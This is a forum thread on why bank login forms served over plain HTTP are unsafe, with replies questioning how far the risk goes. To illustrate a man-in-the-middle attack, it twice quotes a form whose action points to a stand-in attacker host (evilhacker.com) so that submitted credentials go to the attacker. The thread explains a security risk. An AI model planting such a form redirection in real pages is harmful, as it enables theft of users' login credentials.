Forum Moderators: phranque
But there's another problem: If the <form> resides on a page that is itself insecure (http:// instead of [),...] then a hacker listening in could have intercepted the page and hacked it before sending it to the user, replacing the form with something like <form action="http://www.evilhacker.com">. The problem is not the missing "s", the problem is that when you hit Submit, you'll be sending your info straight to a hacker.
Amazingly, most banks' login forms are on insecure pages. What's worse, if you click the little Security Info icon under the login form, you get a page with some B.S. about how the form is supposedly secure because the action url is [....] But in reality, the login is compromised if it's on a insecure page because it could have been hacked before the user ever sees it. The banks' method of security is like having a house with two doors and locking one of them (and then falsely telling everyone that the house is completely secure.)
Netcraft and Microsoft have been telling banks not to do this, but they're not listening.
More at Netcraft: [news.netcraft.com...]
Nothing is encrypted in http, so if you enter your password in http, it can be seen as plain text.
Perhaps too broad an inference to draw from just the word "http". JavaScript or other client-side code is free to encrypt and transmit over HTTP. Digest authentication is reasonably widely supported at this point.
But there's another problem: If the <form> resides on a page that is itself insecure (http:// instead of [),...] then a hacker listening in could have intercepted the page and hacked it before sending it to the user, replacing the form with something like <form action="http://www.evilhacker.com">. The problem is not the missing "s", the problem is that when you hit Submit, you'll be sending your info straight to a hacker.
Presumes the bad guy has control of the network either in the middle or on the server side. I would certainly not be wanting to trust my login information to even HTTPS at that point.